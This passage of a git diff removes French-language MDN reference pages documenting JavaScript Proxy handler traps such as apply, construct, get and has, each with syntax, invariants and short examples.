diff --git a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/apply/index.html b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/apply/index.html deleted file mode 100644 index 21f1d44817..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/apply/index.html +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: handler.apply() -slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/apply -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Proxy - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/apply ---- -
{{JSRef}}
- -

La méthode handler.apply() représente une trappe pour un appel de fonctions.

- -
{{EmbedInteractiveExample("pages/js/proxyhandler-apply.html", "taller")}}
- - - -

Syntaxe

- -
var p = new Proxy(cible, {
-  apply: function(cible, thisArg, listeArguments) {
-  }
-});
-
- -

Paramètres

- -

Les paramètres suivants sont passés à la méthode apply. Ici, this est lié au gestionnaire.

- -
-
cible
-
L'objet cible.
-
thisArg
-
L'argument {{jsxref("Opérateurs/L_opérateur_this","this")}} pour cet appel.
-
listeArguments
-
La liste d'arguments pour l'appel.
-
- -

Valeur de retour

- -

La méthode apply peut renvoyer n'importe quelle valeur.

- -

Description

- -

La méthode handler.apply est une trappe pour l'appel à une fonction.

- -

Interceptions

- -

Cette trappe intercepte les opérations suivantes :

- -
    -
  • proxy(...args)
    • -
  • {{jsxref("Function.prototype.apply()")}} et {{jsxref("Function.prototype.call()")}}
    • -
  • {{jsxref("Reflect.apply()")}}
    • -
- -

Invariants

- -

Si les invariants suivants ne sont pas respectés, le proxy lèvera une exception TypeError :

- -
    -
  • la cible doit pouvoir être « appelable ». Autrement dit, il doit s'agir d'une fonction.
    • -
- -

Exemples

- -

Dans l'exemple ci-dessous, on piège un appel de fonction.

- -
var p = new Proxy(function() {}, {
-  apply: function(target, thisArg, argumentsList) {
-    console.log("called: " + argumentsList.join(", "));
-    return argumentsList[0] + argumentsList[1] + argumentsList[2];
-  }
-});
-
-console.log(p(1, 2, 3)); // "called: 1, 2, 3"
-                         // 6
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-call-thisargument-argumentslist', '[[Call]]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-call-thisargument-argumentslist', '[[Call]]')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Proxy.handler.apply")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Proxy")}}
    • -
  • {{jsxref("Proxy.handler", "handler")}}
    • -
  • {{jsxref("Function.prototype.apply")}}
    • -
  • {{jsxref("Function.prototype.call")}}
    • -
  • {{jsxref("Reflect.apply()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/construct/index.html b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/construct/index.html deleted file mode 100644 index 90eb5f0105..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/construct/index.html +++ /dev/null @@ -1,137 +0,0 @@ ---- -title: handler.construct() -slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/construct -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Proxy - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/construct ---- -
{{JSRef}}
- -

La méthode handler.construct() est une trappe pour l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Afin que l'opération new puisse être valide sur le proxy correspondant, la cible utilisée doit avoir une méthode interne [[Construct]] (autrement dit, l'instruction new cible doit être valide).

- -
{{EmbedInteractiveExample("pages/js/proxyhandler-construct.html", "taller")}}
- - - -

Syntaxe

- -
var p = new Proxy(cible, {
-  construct: function(cible, listeArguments, newTarget) {
-  }
-});
-
- -

Paramètres

- -

Les paramètres suivants sont passés à la méthode construct.  this est ici lié au gestionnaire (handler).

- -
-
cible
-
L'objet cible.
-
listeArguments
-
La liste des arguments passés au constructeur.
-
newTarget
-
Le constructeur originellement appelé.
-
- -

Valeur de retour

- -

La méthode construct doit renvoyer un objet.

- -

Description

- -

La méthode handler.construct() est une trappe pour l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}.

- -

Interceptions

- -

Ce trappe intercepte les opérations suivantes :

- -
    -
  • new proxy(...args)
    • -
  • {{jsxref("Reflect.construct()")}}
    • -
- -

Invariants

- -

Si les invariants suivants ne sont pas respectés, le proxy renverra une exception {{jsxref("TypeError")}} :

- -
    -
  • Le résultat doit être un Object.
    • -
- -

Exemples

- -

Dans l'exemple qui suit, on piège l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}.

- -
var p = new Proxy(function() {}, {
-  construct: function(target, argumentsList) {
-    console.log("called: " + argumentsList.join(", "));
-    return { value: argumentsList[0] * 10 };
-  }
-});
-
-console.log(new p(1).value); // "appel sur : 1"
-                             // 10
-
- -

Dans cette version, on ne respecte pas la contrainte d'invariance :

- -
var p = new Proxy(function() {}, {
-  construct: function(target, argumentsList) {
-    return 1;
-  }
-});
-
-new p(); // Une exception TypeError est levée
-
- -

Dans le code qui suit, le proxy n'est pas correctement initialisé. La cible du proxy doit être un constructeur valide qui puisse être utilisé avec new.

- -
var p = new Proxy({}, {
-  construct: function(target, argumentsList, newTarget){
-    return {};
-  }
-});
-
-new p(); // TypeError: p is not a constructor
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-construct-argumentslist-newtarget', '[[Construct]]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-construct-argumentslist-newtarget', '[[Construct]]')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Proxy.handler.construct")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Proxy")}}
    • -
  • {{jsxref("Proxy.handler", "handler")}}
    • -
  • L'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}
    • -
  • {{jsxref("Reflect.construct()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/defineproperty/index.html b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/defineproperty/index.html deleted file mode 100644 index ea23d3c8e3..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/defineproperty/index.html +++ /dev/null @@ -1,144 +0,0 @@ ---- -title: handler.defineProperty() -slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/defineProperty -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Proxy - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/defineProperty ---- -
{{JSRef}}
- -

La méthode handler.defineProperty() est une trappe pour {{jsxref("Object.defineProperty()")}}.

- -
{{EmbedInteractiveExample("pages/js/proxyhandler-defineproperty.html", "taller")}}
- - - -

Syntaxe

- -
var p = new Proxy(cible, {
-  defineProperty: function(cible, propriété, descripteur) {
-  }
-});
-
- -

Paramètres

- -

Les paramètres suivants sont passés à la méthode defineProperty. this est ici lié au gestionnaire.

- -
-
cible
-
L'objet cible.
-
propriété
-
Le nom ou le symbole ({{jsxref("Symbol")}}) de la propriété dont on veut modifier la description.
-
descripteur
-
Le descripteur de la propriété qui est à modifier ou à définir.
-
- -

Valeur de retour

- -

La méthode defineProperty() doit renvoyer un booléen qui indique si la propriété a correctement été définie sur la cible.

- -

Description

- -

La méthode handler.defineProperty() est une trappe pour {{jsxref("Object.defineProperty()")}}.

- -

Interceptions

- -

Cette trappe intercepte les opérations suivantes :

- -
    -
  • {{jsxref("Object.defineProperty()")}}
    • -
  • {{jsxref("Reflect.defineProperty()")}}
    • -
- -

Invariants

- -

Si les contraintes d'invariances suivantes ne sont pas respectées, le proxy renverra une exception {{jsxref("TypeError")}} :

- -
    -
  • Une propriété ne peut pas être ajoutée si l'objet cible n'est pas extensible.
    • -
  • Une propriété ne peut pas être ajoutée ou modifiée pour être rendue non-configurable si elle n'existe pas comme une propriété propre non-configurable de l'objet cible.
    • -
  • Une propriété ne peut pas être non-configurable s'il existe une propriété correspondante de l'objet cible qui est configurable.
    • -
  • Si une propriété correspondante existe pour l'objet cible Object.defineProperty(cible, propriété, descripteur) ne lèvera pas d'exception.
    • -
  • En mode stricte, si le gestionnaire defineProperty renvoie une valeur fausse (dans un contexte booléen), cela entraînera une exception {{jsxref("TypeError")}}.
    • -
- -

Exemples

- -

Dans le code suivant, on piège l'appel à {{jsxref("Object.defineProperty()")}}.

- -
var p = new Proxy({}, {
-  defineProperty: function(target, prop, descriptor) {
-    console.log("appelé avec : " + prop);
-  }
-});
-
-var desc = { configurable: true, enumerable: true, value: 10 };
-Object.defineProperty(p, "a", desc); // "appelé avec : a"
-
- -

Lorsqu'on appelle {{jsxref("Object.defineProperty()")}} ou {{jsxref("Reflect.defineProperty()")}}, le descripteur passé à la trappe defineProperty doit respecter une contrainte : seules les propriétés suivants sont utilisables, les propriétés non-standards seront ignorées :

- -
    -
  • enumerable
    • -
  • configurable
    • -
  • writable
    • -
  • value
    • -
  • get
    • -
  • set
    • -
- -
var p = new Proxy({}, {
-  defineProperty(target, prop, descriptor) {
-    console.log(descriptor);
-    return Reflect.defineProperty(target, prop, descriptor);
-  }
-});
-
-Object.defineProperty(p, "name, {
-  value: "proxy",
-  type: "custom"
-});
-// { value: "proxy" }
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-defineownproperty-p-desc', '[[DefineOwnProperty]]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-defineownproperty-p-desc', '[[DefineOwnProperty]]')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Proxy.handler.defineProperty")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Proxy")}}
    • -
  • {{jsxref("Proxy.handler", "handler")}}
    • -
  • {{jsxref("Object.defineProperty()")}}
    • -
  • {{jsxref("Reflect.defineProperty()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/deleteproperty/index.html b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/deleteproperty/index.html deleted file mode 100644 index 15828b99b3..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/deleteproperty/index.html +++ /dev/null @@ -1,113 +0,0 @@ ---- -title: handler.deleteProperty() -slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/deleteProperty -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Proxy - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/deleteProperty ---- -
{{JSRef}}
- -

La méthode handler.deleteProperty() est une trappe pour l'opérateur {{jsxref("Opérateurs/L_opérateur_delete", "delete")}}.

- -
{{EmbedInteractiveExample("pages/js/proxyhandler-deleteproperty.html","taller")}}
- - - -

Syntaxe

- -
var p = new Proxy(cible, {
-  deleteProperty: function(cible, propriété) {
-  }
-});
-
- -

Paramètres

- -

Les paramètres suivants sont passés à la méthode deleteProperty. this est lié au gestionnaire.

- -
-
cible
-
L'objet cible.
-
propriété
-
Le nom ou le symbole ({{jsxref("Symbol")}}) de la propriété à supprimer.
-
- -

Valeur de retour

- -

La méthode deleteProperty() doit renvoyer un booléen qui indique si oui ou non la propriété a été supprimée.

- -

Description

- -

La méthode handler.deleteProperty() est une trappe permettant d'intercepter les opérations de l'opérateur {{jsxref("Opérateurs/L_opérateur_delete", "delete")}}.

- -

Interceptions

- -

Cette trappe peut intercepter les opérations suivantes :

- -
    -
  • La suppression d'une propriété : delete proxy[toto] et delete proxy.toto
    • -
  • {{jsxref("Reflect.deleteProperty()")}}
    • -
- -

Invariants

- -

Si les invarians suivants ne sont pas respectés, le proxy renverra une exception {{jsxref("TypeError")}} :

- -
    -
  • Une propriété ne peut pas être supprimée s'il existe une propriété correspondante sur l'objet cible qui est une propriété propre et non-configurable.
    • -
- -

Exemples

- -

Dans l'exemple qui suit, on intercepte les opérations de {{jsxref("Opérateurs/L_opérateur_delete", "delete")}}.

- -
var p = new Proxy({}, {
-  deleteProperty: function(cible, prop) {
-    console.log("appelée sur : " + prop);
-    return true;
-  }
-});
-
-delete p.a; // "appelée sur : a"
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-delete-p', '[[Delete]]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-delete-p', '[[Delete]]')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Proxy.handler.deleteProperty")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Proxy")}}
    • -
  • {{jsxref("Proxy.handler", "handler")}}
    • -
  • L'opérateur {{jsxref("Opérateurs/L_opérateur_delete", "delete")}}
    • -
  • {{jsxref("Reflect.deleteProperty()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/get/index.html b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/get/index.html deleted file mode 100644 index 0173263d99..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/get/index.html +++ /dev/null @@ -1,136 +0,0 @@ ---- -title: handler.get() -slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/get -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Proxy - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/get ---- -
{{JSRef}}
- -

La méthode handler.get() est une trappe pour intercepter l'accès à la valeur d'une propriété.

- -
{{EmbedInteractiveExample("pages/js/proxyhandler-get.html", "taller")}}
- - - -

Syntaxe

- -
var p = new Proxy(cible, {
-  get: function(cible, propriété, récepteur) {
-  }
-});
-
- -

Paramètres

- -

Les paramètres suivants sont passés à la méthode get. this est lié au gestionnaire.

- -
-
cible
-
L'objet cible.
-
propriété
-
Le nom ou le symbole ({{jsxref("Symbol")}}) de la propriété qu'on souhaite obtenir.
-
récepteur
-
Le proxy ou un objet qui hérite du proxy.
-
- -

Valeur de retour

- -

La méthode get peut renvoyer n'importe quelle valeur.

- -

Description

- -

La méthode handler.get est une trappe pour intercepter l'accès à une propriété.

- -

Interceptions

- -

Cette trappe permet d'intercepter les opérations suivantes :

- -
    -
  • l'accès à une propriété : proxy[toto] et proxy.truc
    • -
  • L'accès aux propriétés héritées : Object.create(proxy)[toto]
    • -
  • {{jsxref("Reflect.get()")}}
    • -
- -

Invariants

- -

Si les invariants suivants ne sont pas respectés, le proxy renverra une exception {{jsxref("TypeError")}} :

- -
    -
  • La valeur renvoyée pour la propriété doit être la même que la valeur de la propriété correspondante de l'objet cible si celle-ci est non-configurable et non accessible en lecture.
    • -
  • La valeur renvoyée doit valoir undefined si la propriété correspondante de l'objet cible est une propriété d'accesseur non-configurable dont l'attribut [[Get]] vaut undefined.
    • -
- -

Exemples

- -

Dans l'exemple suivant, on intercepte les accès aux propriétés :

- -
var p = new Proxy({}, {
-  get: function(cible, propriété, récepteur) {
-    console.log("appelée : " + propriété);
-    return 10;
-  }
-});
-
-console.log(p.a); // "appelée : a"
-                  // 10
-
- -

Le code suivant ne respecte pas l'invariant :

- -
var obj = {};
-Object.defineProperty(obj, "a", {
-  configurable: false,
-  enumerable: false,
-  value: 10,
-  writable: false
-});
-
-var p = new Proxy(obj, {
-  get: function(cible, propriété) {
-    return 20;
-  }
-});
-
-p.a; // exception TypeError levée
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-get-p-receiver', '[[Get]]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-get-p-receiver', '[[Get]]')}}{{Spec2('ESDraft')}} 
- -

Compatiblité des navigateurs

- - - -

{{Compat("javascript.builtins.Proxy.handler.get")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Proxy")}}
    • -
  • {{jsxref("Proxy.handler", "handler")}}
    • -
  • {{jsxref("Reflect.get()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/getownpropertydescriptor/index.html b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/getownpropertydescriptor/index.html deleted file mode 100644 index 457d906b81..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/getownpropertydescriptor/index.html +++ /dev/null @@ -1,132 +0,0 @@ ---- -title: handler.getOwnPropertyDescriptor() -slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/getOwnPropertyDescriptor -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Proxy - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/getOwnPropertyDescriptor ---- -
{{JSRef}}
- -

La méthode handler.getOwnPropertyDescriptor() est une trappe pour intercepter {{jsxref("Object.getOwnPropertyDescriptor()")}}.

- -
{{EmbedInteractiveExample("pages/js/proxyhandler-getownpropertydescriptor.html", "taller")}}
- - - -

Syntaxe

- -
var p = new Proxy(cible, {
-  getOwnPropertyDescriptor: function(cible, prop) {
-  }
-});
-
- -

Paramètres

- -

Les paramètres suivants sont passés à la méthode getOwnPropertyDescriptor. this est ici lié au gestionnaire (handler).

- -
-
cible
-
L'objet cible
-
prop
-
Le nom de la propriété dont on souhaite obtenir le descripteur.
-
- -

Valeur de retour

- -

La méthode getOwnPropertyDescriptor doit renvoyer un objet ou undefined.

- -

Description

- -

La méthode handler.getOwnPropertyDescriptor() est une trappe pour un proxy afin d'intercepter les opérations effectuées avec {{jsxref("Object.getOwnPropertyDescriptor()")}}.

- -

Interceptions

- -

Cette trappe permet d'intercepter :

- -
    -
  • {{jsxref("Object.getOwnPropertyDescriptor()")}}
    • -
  • {{jsxref("Reflect.getOwnPropertyDescriptor()")}}
    • -
- -

Invariants

- -

Si les invariants suivants ne sont pas respectés, le proxy lèvera une exception {{jsxref("TypeError")}} :

- -
    -
  • getOwnPropertyDescriptor doit renvoyer un objet ou undefined.
    • -
  • Une propriété ne peut pas être indiquée comme non-existante s'il existe une propriété correspondante de l'objet cible qui est une propriété propre et non-configurable.
    • -
  • Une propriété ne peut pas être indiquée comme non-existante s'il existe une propriété correspondante de l'objet cible qui est une propriété propre et que l'objet cible n'est pas extensible.
    • -
  • Une propriété ne peut pas être indiquée comme existante si elle n'existe pas de façon correspondante sur l'objet cible et que l'objet cible n'est pas extensible.
    • -
  • Une propriété ne peut pas être indiquée comme non-configurable si la propriété correspondante n'existe pas pour l'objet cible ou si elle existe comme un propriété propre configurable.
    • -
  • Le résultat de Object.getOwnPropertyDescriptor(cible) peut être appliqué à l'objet cible avec Object.defineProperty sans que cela lève une exception.
    • -
- -

Exemples

- -

Dans l'exemple qui suit, on intercepte {{jsxref("Object.getOwnPropertyDescriptor()")}}.

- -
var p = new Proxy({ a: 20 }, {
-  getOwnPropertyDescriptor: function(cible, prop) {
-    console.log("appelée : " + prop);
-    return { configurable: true, enumerable: true, value: 10 };
-  }
-});
-
-console.log(Object.getOwnPropertyDescriptor(p, "a").value); // "appelée : a"
-                                                            // 10
-
- -

L'exemple suivant ne respecte pas un invariant :

- -
var obj = { a: 10 };
-Object.preventExtensions(obj);
-var p = new Proxy(obj, {
-  getOwnPropertyDescriptor: function(cible, prop) {
-    return undefined;
-  }
-});
-
-Object.getOwnPropertyDescriptor(p, "a"); // Une exception TypeError est renvoyée
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-getownproperty-p', '[[GetOwnProperty]]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-getownproperty-p', '[[GetOwnProperty]]')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Proxy.handler.getOwnPropertyDescriptor")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Proxy")}}
    • -
  • {{jsxref("Proxy.handler", "handler")}}
    • -
  • {{jsxref("Object.getOwnPropertyDescriptor()")}}
    • -
  • {{jsxref("Reflect.getOwnPropertyDescriptor()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/getprototypeof/index.html b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/getprototypeof/index.html deleted file mode 100644 index 1b5f73d3db..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/getprototypeof/index.html +++ /dev/null @@ -1,154 +0,0 @@ ---- -title: handler.getPrototypeOf() -slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/getPrototypeOf -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Proxy - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/getPrototypeOf ---- -
{{JSRef}}
- -

La méthode handler.getPrototypeOf() représente une trappe pour la méthode interne [[GetPrototypeOf]].

- -
{{EmbedInteractiveExample("pages/js/proxyhandler-getprototypeof.html", "taller")}}
- - - -

Syntaxe

- -
var p = new Proxy(obj, {
-  getPrototypeOf(cible) {
-  ...
-  }
-});
-
- -

Paramètres

- -

Le paramètre suivant est passé à la méthode getPrototypeOf. this est lié au gestionnaire.

- -
-
cible
-
L'objet cible.
-
- -

Valeur de retour

- -

La méthode getPrototypeOf doit renvoyer un objet ou null.

- -

Description

- -

Interceptions

- -

Cette trappe permet d'intercepter les opérations suivantes :

- -
    -
  • {{jsxref("Object.getPrototypeOf()")}}
    • -
  • {{jsxref("Reflect.getPrototypeOf()")}}
    • -
  • {{jsxref("Object/proto", "__proto__")}}
    • -
  • {{jsxref("Object.prototype.isPrototypeOf()")}}
    • -
  • {{jsxref("Opérateurs/instanceof", "instanceof")}}
    • -
- -

Invariants

- -

Si les invariants suivant ne sont pas respectés, le proxy renverra une exception {{jsxref("TypeError")}} :

- -
    -
  • getPrototypeOf doit renvoyer un objet ou null.
    • -
  • Si la cible n'est pas extensible, Object.getPrototypeOf(proxy) doit renvoyer la même valeur que Object.getPrototypeOf(cible).
    • -
- -

Exemples

- -

Utilisation simple

- -
var obj = {};
-var proto = {};
-var gestionnaire = {
-    getPrototypeOf(cible) {
-        console.log(cible === obj);   // true
-        console.log(this === gestionnaire); // true
-        return proto;
-    }
-};
-
-var p = new Proxy(obj, gestionnaire);
-console.log(Object.getPrototypeOf(p) === proto);    // true
-
- -

Cinq façons de déclencher la trappe getPrototypeOf

- -
var obj = {};
-var p = new Proxy(obj, {
-    getPrototypeOf(cible) {
-        return Array.prototype;
-    }
-});
-console.log(
-    Object.getPrototypeOf(p) === Array.prototype,  // true
-    Reflect.getPrototypeOf(p) === Array.prototype, // true
-    p.__proto__ === Array.prototype,               // true
-    Array.prototype.isPrototypeOf(p),              // true
-    p instanceof Array                             // true
-);
-
- -

Deux types d'exceptions

- -
var obj = {};
-var p = new Proxy(obj, {
-    getPrototypeOf(cible) {
-        return "toto";
-    }
-});
-Object.getPrototypeOf(p); // TypeError : "toto" n'est pas un objet ou null
-
-var obj = Object.preventExtensions({});
-var p = new Proxy(obj, {
-    getPrototypeOf(cible) {
-        return {};
-    }
-});
-Object.getPrototypeOf(p); // TypeError : on attend la même valeur pour le prototype
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-getprototypeof', '[[GetPrototypeOf]]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-getprototypeof', '[[GetPrototypeOf]]')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Proxy.handler.getPrototypeOf")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Proxy")}}
    • -
  • {{jsxref("Proxy.handler", "handler")}}
    • -
  • {{jsxref("Object.getPrototypeOf()")}}
    • -
  • {{jsxref("Reflect.getPrototypeOf()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/has/index.html b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/has/index.html deleted file mode 100644 index faded452ad..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/has/index.html +++ /dev/null @@ -1,130 +0,0 @@ ---- -title: handler.has() -slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/has -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Proxy - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/has ---- -
{{JSRef}}
- -

La méthode handler.has() est une trappe pour l'opérateur {{jsxref("Opérateurs/L_opérateur_in", "in")}}.

- -
{{EmbedInteractiveExample("pages/js/proxyhandler-has.html", "taller")}}
- - - -

Syntaxe

- -
var p = new Proxy(cible, {
-  has: function(cible, prop) {
-  }
-});
-
- -

Paramètres

- -

Les paramètres suivants sont passés à la méthode has. this est lié au gestionnaire.

- -
-
cible
-
L'objet cible.
-
prop
-
Le nom ou le symbole ({{jsxref("Symbol")}}) de la propriété dont on veut connaître l'existence.
-
- -

Valeur de retour

- -

La méthode has doit renvoyer une valeur booléenne.

- -

Description

- -

La méthode handler.has est une trappe pour l'opérateur {{jsxref("Opérateurs/L_opérateur_in", "in")}}.

- -

Interceptions

- -

Cette trappe permet d'intercepter les opérations suivantes :

- -
    -
  • L'accès à une propriété : toto in proxy
    • -
  • L'accès à une propriété héritée : toto in Object.create(proxy)
    • -
  • Accès via l'instruction with : with(proxy) { (foo); }
    • -
  • {{jsxref("Reflect.has()")}}
    • -
- -

Invariants

- -

Si les invariants suivants ne sont pas respectés, le proxy lèvera une exception {{jsxref("TypeError")}} :

- -
    -
  • Une propriété ne peut pas être indiquée comme non-existante s'il existe une propriété correspondante de l'objet cible qui est une propriété propre et non-configurable.
    • -
  • Une propriété ne peut pas être indiquée comme non-existante s'il existe une propriété correspondante propre sur l'objet cible et que celui-ci n'est pas extensible.
    • -
- -

Exemples

- -

Dans l'exemple qui suit, on intercepte l'opérateur {{jsxref("Opérateurs/L_opérateur_in", "in")}} :

- -
var p = new Proxy({}, {
-  has: function(cible, prop) {
-    console.log("appelée : " + prop);
-    return true;
-  }
-});
-
-console.log("a" in p); // "appelée : a"
-                       // true
-
- -

L'exemple suivant ne respecte pas un invariant :

- -
var obj = { a: 10 };
-Object.preventExtensions(obj);
-var p = new Proxy(obj, {
-  has: function(cible, prop) {
-    return false;
-  }
-});
-
-"a" in p; // TypeError levée
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-hasproperty-p', '[[HasProperty]]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-hasproperty-p', '[[HasProperty]]')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Proxy.handler.has")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Proxy")}}
    • -
  • {{jsxref("Proxy.handler", "handler")}}
    • -
  • L'opérateur {{jsxref("Opérateurs/L_opérateur_in", "in")}}
    • -
  • {{jsxref("Reflect.has()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/index.html b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/index.html deleted file mode 100644 index 0611c7bcd2..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Gestionnaire de Proxy (handler) -slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler -tags: - - ECMAScript 2015 - - JavaScript - - Proxy - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy -translation_of_original: Web/JavaScript/Reference/Global_Objects/Proxy/handler ---- -
{{JSRef}}
- -

L'objet gestionnaire d'un proxy est un objet qui contient les trappes de captures (traps) pour le  {{jsxref("Proxy", "proxy", "", 1)}}.

- -

Méthodes

- -

Toutes ces trappes sont optionnelles. Si une trappe n'a pas été définie, le comportement par défaut sera de transmettre l'opération à la cible.

- -
-
{{jsxref("Objets_globaux/Proxy/handler/getPrototypeOf", "handler.getPrototypeOf()")}}
-
Une trappe pour {{jsxref("Object.getPrototypeOf")}}.
-
{{jsxref("Objets_globaux/Proxy/handler/setPrototypeOf", "handler.setPrototypeOf()")}}
-
Une trappe pour {{jsxref("Object.setPrototypeOf")}}.
-
{{jsxref("Objets_globaux/Proxy/handler/isExtensible", "handler.isExtensible()")}}
-
Une trappe pour {{jsxref("Object.isExtensible")}}.
-
{{jsxref("Objets_globaux/Proxy/handler/preventExtensions", "handler.preventExtensions()")}}
-
Une trappe pour {{jsxref("Object.preventExtensions")}}.
-
{{jsxref("Objets_globaux/Proxy/handler/getOwnPropertyDescriptor", "handler.getOwnPropertyDescriptor()")}}
-
Une trappe pour {{jsxref("Object.getOwnPropertyDescriptor")}}.
-
{{jsxref("Objets_globaux/Proxy/handler/defineProperty", "handler.defineProperty()")}}
-
Une trappe pour {{jsxref("Object.defineProperty")}}.
-
